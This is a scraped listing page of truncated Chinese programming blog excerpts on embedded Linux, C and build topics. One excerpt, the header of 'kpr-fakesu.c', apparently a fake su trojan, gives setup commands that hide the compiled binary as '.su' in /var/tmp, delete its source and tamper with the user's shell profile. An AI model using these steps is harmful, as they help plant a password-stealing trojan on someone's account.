Time of Update: 2018-07-26
在編譯器時碰到以下問題,碰到過幾次,也不知怎地稀裡糊塗的解決。今天又碰到了,還是找了很久。為了不讓自己在這裡記錄下,記憶力實在是不行了。 這裡推薦一篇部落格,寫的還是不錯的的http://www.cnblogs.com/wanyao/archive/2011/06/27/2091666.html。 arm-linux-gcc -Wall -O2 led.c -o main.cgi
Time of Update: 2018-07-26
問題描述:用ADS1.2 + H-JTAG或者是H-Jlink,每次調試的時候都會出現“the session file could not be loaded”這個錯誤,尋求解決辦法。問題解答:使用者建立的工程編譯通過後,進入AXD調試環境時,會彈出如下錯誤視窗。 解決方案 此問題,有兩種解決方案: 1、移動工程 將工程存放在英文或數字(不包含中文)目錄下,此方法操作最簡單
Time of Update: 2018-07-26
1.strcmp int strcmp(const char* str1, const char*str2){ assert(str1 != NULL&&str2 != NULL); while (*str1&&*str1 == *str2){ str1++; str2++; } if (*(unsigned char*)str1 < *(unsigned char*)str2){
Time of Update: 2018-07-26
1. Webbench Webbench是一個在linux下使用的非常簡單的網站壓測工具。它使用fork()類比多個用戶端同時訪問我們設定的URL,測試網站在壓力下工作的效能,最多可以類比3萬個並發串連去測試網站的負載能力。Webbench使用C語言編寫, 代碼實在太簡潔,源碼加起來不到600行。下載連結:http://home.tiscali.cz/~cz210552/webbench.html 2. Tinyhttpd tinyhttpd是一個超輕量型Http
Time of Update: 2018-07-26
/* * kpr-fakesu.c V0.9beta167 ;P * by koper <koper@linuxmail.org> * * Setting up: * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c * admin@host:~$ mv .su /var/tmp/.su * admin@host:~$ cp .bash_profile .wgetrc * admin@host:~$ echo
Time of Update: 2018-07-26
一.交叉編譯ini解析庫 1.官方網站http://ndevilla.free.fr/iniparser 下載iniparser-3.1.tar.gz 2.解壓 tar -zxvf iniparser-3.1.tar.gz cd tar -zxvf iniparser 3.修改makefile CC= gcc 修改為--> CC= arm-none-linux-gnueabi-gccAR= ar 修改為--> AR=
Time of Update: 2018-07-26
1、TCP網路編程主要流程 圖1.1
Time of Update: 2018-07-26
In a System V-like environment, one has the type ucontext_t defined in <ucontext.h> and the four functions get-context(2), setcontext(2), makecontext() and swapcontext() that allow user-level context switching between multi-ple
Time of Update: 2018-07-26
函數指標之所以難於用好,不在於它的文法又多難理解,而是用在合適的場合 函數指標的使用: 與分層設計有關。分層設計早就不是什麼新的概念,分層的好處是眾所周知的,比較明顯好處就是簡化複雜度、隔離變化。採用分層設計,每層都只需關心自己的東西,這減小了系統的複雜度,層與層之間的互動僅限於一個很窄的介面,只要介面不變,某一層的變化不會影響其它層,這隔離了變化。 分層的一般原則是,上層可以直接調用下層的函數,下層則不能直接調用上層的函數。這句話說來
Time of Update: 2018-07-26
1、system(執行shell 命令) 相關函數 fork,execve,waitpid,popen 表標頭檔 #include<stdlib.h> 定義函數 int system(const char * string); 函數說明 system()會調用fork()產生子進程,由子進程來調用/bin/sh-c string來執行參數string字串所代表的命令,此命令執行完後隨 即返回原調用的進程。在調用system()期間SIGCHLD 訊號會被暫時
Time of Update: 2018-07-26
小小樣本,用於java與C#的TCP通訊,java作為client,C#作為Server,Server用線程池。 主要功能為,client可以發送資料到Server,然後Server發送資料到client,斷開; 相當於client發出請求,Server給予回應。 JAVA Client: package com.cn.test;import java.net.*;import java.io.*;public class
Time of Update: 2018-07-26
系統調用:是作業系統為使用者態啟動並執行進程和硬體裝置(如CPU、磁碟、印表機等)進行互動提供的一組介面,即就是設定在應用程式和硬體裝置之間的一個介面層。可以說是作業系統留給使用者程式的一個介面。再來說一下,linux核心是單核心,結構緊湊,執行速度快,各個模組之間是直接調用的關係。放眼望整個linux系統,從上到下依次是使用者進程->linux核心->硬體。其中系統調用介面是位於Linux核心中的,如果再稍微細分一下的話,整個linux系統從上到下可以是:使用者進程->系統調
Time of Update: 2018-07-26
arch/arm/include/asm/termbits.hstruct termios {tcflag_t c_iflag;/* input mode flags */tcflag_t c_oflag;/* output mode flags */tcflag_t c_cflag;/* control mode flags */tcflag_t c_lflag;/* local mode flags */cc_t c_line;/* line discipline */cc_t
Time of Update: 2018-07-26
一、背景 在某種CPU密集型的應用情境中,處理計算任務耗時較多(如影像處理),考慮多核CPU的優勢,若能把計算分擔到多個線程中處理則能有效利用CPU; 但是,若過開啟過多的線程,線程建立銷毀、線程間切換所帶來的開銷也不容小覷; 二、相關知識 2.1 思路整理 對於這種情境,設計線程池對任務進行處理,即所有待處理的任務集中在隊列裡頭,N個線程輪流去取隊列進行計算; 2.2 隊列的實現
Time of Update: 2018-07-26
filter 是過濾的意思,它的原型是:$(filter PATTERN…,TEXT),意義為:過濾掉字串“TEXT”中所有不符合模式“PATTERN”的單詞,保留所有符合此模式的單詞做傳回值。結合前面的ifneq可以這樣理解:ifneq(A,),其中A=$(filter aaa bbb ccc, $(Var))變數Var若為 aaa bbb ccc 三者中的一個或多個,A就不為空白,那麼ifneq(A,)則為真,即原語句為真。這個是makefile的文法,推薦《跟我一起寫makefile》
Time of Update: 2018-07-26
平時登陸Linux時密碼的輸入是不回顯的,而Linux-c又不支援getch()函數,所以才寫了一個實現這一功能的函數。 #include <stdio.h>#include <termios.h>#include <unistd.h>#include <errno.h>#define ECHOFLAGS (ECHO | ECHOE | ECHOK | ECHONL)//函數set_disp_mode用於控制是否開啟輸入回顯功能//
Time of Update: 2018-07-26
本代碼利用linux的hdparm命令,結合pipe管道技術巧妙的獲得硬碟序號,可方便的用於軟體的加密或認證領域 char buf[256],info[1024]={0}; char *pos; int i; snbuf[0]=0; fp=popen("hdparm -i /dev/hda","r"); if(fp) {
Time of Update: 2018-07-26
目的:要在程式中檢查某一個程式是否執行完畢,所以需要檢測這個程式是否在運行狀態. #include < unistd.h > #include < dirent.h > #include < sys / types.h > // for opendir(), readdir(), closedir()
Time of Update: 2018-07-26
繼續NDK的開發。上次我們的執行個體中,對C應用程式的編譯連結,自己編寫的makefile是件比較困難的事情。雖然最後成功了,不過中間經曆了不少坎坷。我們現在研究下如何用NDK提供的build工具,實現我們的目標。 還是以Hello Android工程為例。 建立好工程hello-a,在jni目錄下建立檔案hello-a.c,檔案內容如下。 #include <stdio.h> int main() {
Time of Update: 2018-07-26
昨天Linux系統崩了,今天重裝了Linux系統(Ubuntu16.04)。在安裝完Qt Creator後建立了一個簡單的C++工程以便測試是否安裝正確,工程預設的是輸出“Hello World。”,運行通過,正常輸出。但是在Debug的時候卻有一個警告(雖然也能輸出“Hello World。”):Debugging starts &"warning: GDB: Failed to set controlling